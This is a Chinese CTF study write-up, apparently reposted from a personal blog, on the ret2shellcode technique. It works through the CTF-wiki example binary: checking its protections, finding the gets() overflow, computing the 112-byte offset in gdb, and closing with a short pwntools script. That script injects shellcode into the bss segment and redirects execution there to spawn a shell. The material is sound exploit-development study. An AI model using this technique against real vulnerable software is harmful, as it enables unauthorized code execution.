[二进制安全学习]ret2shellcode
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[二进制安全学习]ret2shellcode相关的知识,希望对你有一定的参考价值。
写在前面
懒狗的第二篇学习,开冲
ret2shellcode
利用原理
ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。
在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
利用关键
1、程序存在溢出,并且还要能够控制返回地址
2、程序运行时,shellcode 所在的区域要拥有执行权限
3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。
例题
还是拿着ctfwiki的进行自我学习复现
首先checksec查看一下,源程序只开启了NX保护,并且有可读,可写,可执行段
接下来用IDA看看
看到了gets函数很容易想到可以进行栈溢出,同时将对应的字符串复制到 buf2 处,可以看见他在bss段
简单调试程序,看看这一个 bss 段是否可执行,有可读可写可执行
我们就控制程序读入 shellcode,然后控制程序执行 bss 段处的 shellcode即可
下面来看看偏移,首先可以看见调用gets函数的地址0x08048593
那个80h+s很蒙蔽,直接去gdb调试看看
还有
因此我们不难得到esp
为0xffffd130
,ebp
为0xffffd1b8
, s
相对于 esp
的索引为 esp+0x1c
,
s
的地址为0xffffd14c
s
相对于ebp
的偏移为0x6c
- s 相对于返回地址的偏移为
0x6c+4
因此不难写出payload
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()
利用成功,完美打击
参考文章
https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/#ret2shellcode
以上是关于[二进制安全学习]ret2shellcode的主要内容,如果未能解决你的问题,请参考以下文章